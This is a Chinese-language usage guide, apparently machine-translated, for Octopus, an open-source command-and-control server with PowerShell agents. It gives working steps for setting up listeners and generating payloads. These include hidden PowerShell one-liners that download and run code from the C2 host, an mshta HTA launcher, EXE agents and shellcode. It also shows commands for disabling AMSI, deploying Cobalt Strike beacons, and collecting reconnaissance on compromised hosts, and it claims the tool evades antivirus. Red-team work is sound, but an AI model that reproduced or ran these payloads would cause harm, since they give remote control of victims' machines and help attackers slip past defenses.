Octopus是一個開源的、基于python的預操作C2伺服器,可以通過HTTP/S控制Octopus的powershell代理。
建立 Octopus 的主要目的是在任何紅隊行動之前使用,在這種情況下,您可以先使用 Octopus 攻擊目标并收集資訊,然後再開始實際的紅隊行動,而不是開始與完整的作戰武器庫和基礎設施接觸。
Octopus 以一種非常簡單的方式工作,通過加密良好的通道執行指令并與 C2 交換資訊,這使得它在幾乎所有 AV、端點保護和網絡監控解決方案中都變得不顯眼且無法檢測到。
Octopus 中有一個很酷的功能叫做 ESA,它代表“端點态勢感覺”,它會收集一些關于目标的重要資訊,這将幫助你更好地了解你在操作過程中将面臨的目标網絡端點,進而給您可以根據這些資訊自定義您的實際操作。
Octopus 被設計為在與 C2 通信時隐蔽和隐蔽,因為它預設使用 AES-256 作為 powershell 代理和 C2 伺服器之間的加密通道。您還可以通過為您的域提供有效的證書并配置 Octopus C2 伺服器來使用它來選擇使用 SSL/TLS。
Octopus 具有許多功能,可讓您在實際需要部署完整的武器庫或工具和技術之前深入了解即将進行的活動,例如:
- 通過 HTTP/S 控制代理。
- 執行系統指令。
- 下載下傳/上傳檔案。
- 加載外部 powershell 子產品。
- 在 C2 和代理之間使用加密通道 (AES-256)。
- 使用不起眼的技術來執行指令和傳輸結果。
- 為每個目标建立自定義和多個偵聽器。
- 生成不同類型的有效載荷。
- 支援所有帶有 powershell 2.0 及更高版本的 Windows 版本。
- 在不接觸 powershell.exe 程序的情況下運作 Octopus windows 可執行代理。
- 自動從端點(端點态勢感覺)功能收集資訊。
您可以通過以下方式安裝八達通的所有要求:
pip install -r requirements.txt
您需要
nasm
為 linux 和“mingw-w64”編譯器安裝才能使用 shellcoding 功能和欺騙 args 代理。
您可以使用以下指令在基于 Debian 的發行版上安裝 nasm:
apt install nasm
您可以
mingw-w64
使用以下指令在基于 Debian 的發行版上安裝:
apt install mingw-w64
八達通已在以下作業系統上進行測試:
- Ubuntu (18.04)
- Ubuntu (16.04)
- Kali Linux (2019.2)
您還需要安裝 mono 以確定您可以毫無問題地編譯 C# 源代碼。
Octopus 依賴 mono-csc 二進制檔案來編譯 C# 源代碼,您可以通過以下指令安裝它,該指令
apt install mono-devel
已在 kali 和 ubuntu 16.04 上測試過。
您可以在不安裝單聲道的情況下使用八達通,但您将無法使用 generate_exe
指令。
另請注意,編譯 C# 取決于
System.Management.Automation.dll
具有 SHA1 哈希 a43ed886b68c6ee913da85df9ad2064f1d81c470的程式集。
首先確定使用以下指令下載下傳最新版本的八達通:
git clone https://github.com/mhaskar/Octopus/
然後您需要使用以下指令安裝需求:
pip install -r requirements.txt
之後,您可以通過運作以下指令來啟動八達通伺服器:
./octopus.py
運作它後,您将看到以下内容:

使用 Octopus 非常簡單易用,因為您隻需要啟動一個偵聽器并根據該偵聽器的資訊生成您的代理。
您可以根據需要生成任意數量的偵聽器,然後您可以開始與連接配接到它們的代理進行互動。
配置檔案設定
在您開始使用 Octopus 之前,您必須設定一個 URL 處理配置檔案來控制 C2 的行為和功能,因為 Octopus 是基于 HTTP 的 C2,是以它依賴于 URL 來處理連接配接并保證 URL 不會作為您目前攻擊的網絡中的簽名或 IoC,可以根據需要輕松自定義和重命名 URL。
配置檔案設定目前僅支援 URL 處理、自動終止值和标頭。
設定您的個人資料
要開始設定您的配置檔案,您需要編輯
profile.py
檔案,其中包含許多關鍵變量,它們是:
- file_reciever_url:處理檔案下載下傳。
- report_url:處理 ESA 報告。
- command_send_url:處理将發送到目标的指令。
- command_receiver_url:處理将在目标上執行的指令。
- first_ping_url:處理來自目标的第一個連接配接。
- server_response_header:此标頭将顯示在每個響應中。
- auto_kill:控制在 N 次與 C2 連接配接失敗後何時終止代理的變量
例子:
#!/usr/bin/python3
# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers
# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"
# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"
# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"
# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"
# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"
# will return in every response as Server header
server_response_header = "nginx"
# will return white page that includes HTA script
mshta_url = "/hta"
# auto kill value after n tries
auto_kill = 10
複制
代理和偵聽器将配置為使用此配置檔案互相通信。接下來我們需要知道如何建立一個監聽器。
聽衆
Octopus 有兩個主要的監聽器,“http 監聽器”和“https 監聽器”,這兩個監聽器的選項大都相同。
HTTP 偵聽器:
listen_http
指令需要以下參數來啟動:
- BindIP 定義偵聽器将使用的 IP 位址。
- BindPort 定義要偵聽的端口。
- 主機名将用于從中請求負載。
- Interval 代理在檢查指令之前等待的秒數。
- URL 承載負載的頁面的名稱。
- Listener_name 要使用的偵聽器名稱。
您還可以通過運作以下
listen_http
指令檢視它的示例:
Octopus >>listen_http
[-] Please check listener arguments !
Syntax : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
Options info :
BindIP IP address that will be used by the listener
BindPort port you want to listen on
Hostname will be used to request the payload from
Interval how may seconds that agent will wait before check for commands
URL page name will hold the payload
Listener_name listener name to use
Octopus >>
複制
我們可以使用以下指令啟動偵聽器:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
将傳回以下結果:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
複制
已經成功啟動了一個監聽器,我們可以使用以下
listeners
指令檢視所有監聽器:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
複制
HTTPS 偵聽器:
要建立 HTTPS 偵聽器,您可以使用以下
listen_https
指令:
Octopus >>listen_https
[-] Please check listener arguments !
Syntax : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
複制
該
listen_https
指令采用以下參數啟動:
- BindIP :這是偵聽器将使用的 IP 位址
- BindPort :這是您要偵聽的端口
- 主機名:将用于從
- 間隔:代理在檢查指令之前等待的秒數
- URL 頁面:名稱将儲存有效負載
- Listener_name : 要使用的偵聽器名稱
- certficate_path :有效 ssl certficate 的路徑(對于letsencrypt certficates 稱為 fullchain.pem)
- key_path : ssl 證書的有效密鑰的路徑(對于letsencrypt 證書稱為 key.pem)
請注意,您需要提供與所用域相關聯的有效 SSL 證書。
生成代理
Powershell oneliner
要為偵聽器生成代理,
operation1
我們可以使用以下指令:
generate_powershell operation1
我們将得到以下結果:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
Hack your way in ;)
#====================
Octopus >>
複制
現在我們可以使用這個 oneliner 來啟動我們的代理。
HTA單線
要為 listener1 生成 HTA oneliner,
operation1
我們可以使用以下指令:
generate_hta operation1
我們将得到以下結果:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>
複制
請注意,您可以
/hta
使用
profile.py
八達通EXE代理
要為偵聽器生成 EXE 代理,
operation1
我們可以使用以下指令:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
我們将得到以下結果:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>
複制
請注意,您必須安裝 mono-csc 才能編譯 C# 源代碼。
八達通欺騙參數代理
您可以生成一個新的 EXE 代理,該代理将根據Adam Chester 的出色研究運作帶有欺騙參數的 Powershell 程序。
要生成此 exe,您可以使用以下指令:
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax : generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
複制
生成 x64 shellcode 和 x86 shellcode
Octopus 從 1.2 版本開始可以生成 x64 和 x86 shellcode,生成的 shellcode 使用 CreateProcessA 啟動 powershell.exe oneliner,它将啟動 powershell 代理。
要生成 x64 shellcode,您可以使用以下指令:
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>
複制
要生成 x86 shellcode,您可以使用以下指令:
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>
複制
與代理互動
首先,您可以使用
list
指令列出所有連接配接的代理,以獲得以下結果:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
複制
然後我們可以使用
interact
指令與主機進行互動,如下所示:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
複制
您可以使用如下
help
指令列出所有可用指令:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
Available commands to use :
Hint : if you want to execute system command just type it and wait for the results
+++++++++
help show this help menu
exit/back exit current session and back to the main screen
clear clear the screen output
download download file from the target machine
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process
load load powershell module to the target machine
disable_amsi disable AMSI on the target machine
report get situation report from the target
(HR-PC-TYRMJ) >>
複制
要直接執行系統指令,我們可以直接鍵入指令,然後根據我們在建立偵聽器時設定的間隔檢查時間等待結果。
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
複制
在這種情況下指令已經加密然後發送給代理,之後用戶端将解密指令并執行它,代理将加密結果,最後再次發送回C2解密并顯示結果.
我們還可以使用該
report
指令來擷取 ESA 資訊,如下所示:
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV
=============
Hostname : HR-PC-QNGAV
Domain : darkside.com
OS : Microsoft Windows 10 Pro(64-bit)
OS build : 10.0.17134
OS arch : 64-bit
AntiVirus : Symantec
SIEM solution : False
Internal interfaces/IPs :
IP : 192.168.178.144
IP : 172.12.1.20
Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
複制
您可以通過将外部 powershell 子產品放在
modules
目錄中,然後執行
load module.ps1
.
您也可以通過執行如下
modules
指令列出子產品目錄中的所有子產品:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>
複制